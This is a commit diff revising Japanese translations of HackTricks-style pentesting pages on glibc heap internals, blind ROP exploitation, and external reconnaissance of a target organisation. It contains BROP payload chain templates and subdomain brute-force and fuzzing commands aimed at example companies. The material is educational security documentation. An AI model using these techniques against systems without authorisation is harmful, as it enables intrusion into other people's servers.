Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-23 23:34:09 +00:00
parent 521f6e0e79
commit 833b4cb78a
34 changed files with 1017 additions and 455 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 30 KiB

View file

@ -189,6 +189,7 @@
* [macOS Default Sandbox Debug](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md)
* [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md)
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
* [macOS Authorizations DB & Authd](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md)
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
* [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
@ -196,7 +197,8 @@
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
* [macOS - AMFI - AppleMobileFileIntegrity](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md)
* [macOS MACF - Mandatory Access Control Framework](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md)
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
@ -841,7 +843,7 @@
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
* [Test LLMs](todo/test-llms.md)
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
* [LLM Training](todo/llm-training-data-preparation/README.md)
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)

View file

@ -10,9 +10,9 @@
### 基本的なチャンクの割り当て
ヒープにデータを格納するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にすることなく、可能な限り最小限のメモリを予約することです。これには、メタデータチャンク情報を使用して、各使用中/未使用のチャンクの位置を知ります。
ヒープにデータを格納するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、可能な限り最小限のメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。
スペースを予約する方法はいくつかありますが、主に使用されるビンに依存しますが、一般的な方法論は次のとおりです:
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです:
* プログラムは特定の量のメモリを要求することから始まります。
* チャンクのリストに、要求を満たすのに十分な大きさの空きがあれば、それが使用されます。
@ -29,7 +29,7 @@
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコアの数の2倍、64ビットシステムでは8倍の制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコアの数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
@ -41,11 +41,11 @@
* 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
* セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
2. **`mmap`によるメモリ予約**
* ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しない領域を指定するだけです。
* ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
* デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。
3. **`mprotect`による段階的拡張**
* 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
* サブヒープを「成長させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
* サブヒープを「成長させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
* サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。
### heap\_info <a href="#heap_info" id="heap_info"></a>
@ -74,9 +74,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがってlibcメモリ空間に位置しています。\
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**。
この構造体から注目すべきいくつかの興味深い点があります以下のCコードを参照
この構造体から注目すべき興味深い点がいくつかあります以下のCコードを参照
* `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによってのみアクセスされることを保証するためにあります。
* `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。
* フラグ:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
前述のように、これらのチャンクにはメタデータも含まれており、以下の画像で非常によく表現されています:
前述のように、これらのチャンクにはメタデータも含まれており、の画像で非常によく表現されています:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
@ -165,7 +165,7 @@ typedef struct malloc_chunk* mchunkptr;
* `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません
* `P`: 1の場合、前のチャンクは使用中です
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08Bまたは割り当てられたときにユーザーデータを格納するためのものがあります
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08Bまたは割り当てられたときにユーザーデータを格納するため
さらに、利用可能な場合、ユーザーデータは次のデータを含むためにも使用されます:
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されることに注意してください。したがって、初期ヘッダーのみが必要です。
注意:必要な総スペースを計算する際、`prev_size`フィールドはデータを格納するために使用できるため、`SIZE_SZ`は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。
### チャンクデータを取得し、メタデータを変更する
@ -327,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* インスエビット
* インシュービット
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -470,11 +470,11 @@ return 0;
前の例をデバッグすると、最初に1つのアリーナしかないことがわかります
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
その中にはいくつかのチャンクが見つかります:

View file

@ -41,30 +41,30 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
これらがガジェットです:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御**できることに注意してください
これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御する**ことが可能です
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップします。したがって、次のようなチェーンを送信します:
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っていることに注意してください。なぜなら、スタックから6つのレジスタをポップするからです。したがって、次のようなチェーンを送信します:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
**STOPが実行される**場合、これは基本的にスタックから6つのレジスタをポップするアドレスが使用されたことを意味します。または、使用されたアドレスもSTOPアドレスであったことを意味します。
**STOPが実行される**場合、これは基本的に**スタックから6つのレジスタをポップするアドレス**が使用されたことを意味します。または、使用されたアドレスもSTOPアドレスであったことを意味します。
この最後のオプションを**排除するために**、次のような新しいチェーンが実行され、前のものが6つのレジスタをポップしたことを確認するためにSTOPガジェットを実行してはなりません
`'A' * offset + canary + rbp + ADDR`
ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測することが可能です**
ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測する**ことが可能です。
### 6. PLTを見つける
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10B**区切られており**、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10Bで区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。
したがって、次の動作を確認することでPLTテーブルを見つけることができます
@ -74,19 +74,19 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
### 7. strcmpを見つける
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きい**必要があります。
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きい**必要があります。
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることができます。これにより、関数の最初の2つの引数を制御できることがわかります:
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることが可能です。これは、関数の最初の2つの引数を制御できることを利用します:
* strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb****`dlresolve`**を呼び出す)し、スタックに**調査したいエントリ番号**(ゼロから始まる)を続けて、最初のエントリからすべてのPLTエントリをスキャンします
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリ + 0xb****`dlresolve`**を呼び出す)を呼び出し、スタックに**調査したいエントリ番号**(ゼロから始まる)を配置して、最初のエントリからすべてのPLTエントリをスキャンします
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュしま
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュす
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
@ -94,8 +94,8 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
覚えておいてください:
* BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します
* BROP + 0x9は**`pop RDI; ret;`**を指します
* BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します
* BROP + 0x9は**`pop RDI; ret;`**を指します
* PLT + 0xbは**dl\_resolve**への呼び出しを指します。
`strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。
@ -114,11 +114,11 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
ただし、元の論文では**`write`**のみが言及されているため、これについて説明します
ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう
現在の問題は、**PLT内のwrite関数の位置がわからないこと**と、**データをソケットに送信するためのfd番号がわからないこと**です。
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待できます。
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、高いFDを使用して、いくつかの接続と一致することを期待できます。
これらの関数を見つけるための動作シグネチャ:

View file

@ -10,12 +10,12 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -25,7 +25,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
> ある会社に属するすべてのものがスコープ内にあると言われ、その会社が実際に所有しているものを把握したいと思っています。
このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、以下を行います:
このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、私たちは以下を行います:
1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
2. 各会社のASNあればを見つけます。これにより、各会社が所有するIP範囲がわかります。
@ -45,15 +45,15 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
自律システム番号(**ASN**)は、**インターネット割り当て番号機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。スコープ内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
**会社の地域によっては、以下のリンクがデータ収集に役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/)**(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。**
**会社の地域によっては、のリンクがデータ収集に役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。**
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -108,9 +108,9 @@ You can use online tools like:
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料** web, not free API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではない
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではない (only **100 free** searches)
* [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではない
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 有料
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 有料 (only **100無料** searches)
* [https://www.domainiq.com/](https://www.domainiq.com) - 有料
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
@ -196,7 +196,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン**とその**サブドメイン**を探す、非常に素晴らしいです。
### **脆弱性の調査**
### **脆弱性の探索**
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
@ -204,7 +204,7 @@ If you find any **domain with an IP different** from the ones you already found
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigritiにサインアップ**してください。これは**ハッカーによって作られたハッカーのためのプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
**バグバウンティのヒント**: **サインアップ**して**Intigriti**に参加しましょう。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -366,7 +366,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います。
* [**gobuster**](https://github.com/OJ/gobuster): これはおそらく1つのリゾルバを使用していると思います。
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
@ -384,14 +384,14 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### 第二のDNSブルートフォースラウンド
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つたサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えると、順列を生成します。
* goaltdnsの順列**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)で入手できます
* **ここ**でgoaltdnsの順列**ワードリスト**を取得できます。[**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt)。
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズザーです。提供された入力データセットカスタマイズされたワードリストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを組み合わせたサブドメインブルートフォースファズァです。提供された入力データセットカスタマイズされたワードリストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
```
echo www | subzuf facebook.com
```
### **サブドメイン発見ワークフロー**
私が書いたこのブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります
私が書いたこのブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -442,7 +442,7 @@ echo www | subzuf facebook.com
**ブルートフォース**
ウェブサーバーに隠されたサブドメインがあると疑う場合、ブルートフォースを試みることができます:
ウェブサーバーに隠されたサブドメインがあると疑う場合、それをブルートフォースすることを試みることができます:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -462,7 +462,7 @@ VHostScan -t example.com
### **CORSブルートフォース**
時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン****発見** することができます。
時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン****発見** することができます。
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -478,10 +478,10 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **脆弱性の検索**
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
もし**発見した資産の中で異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
_サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_
## IPs
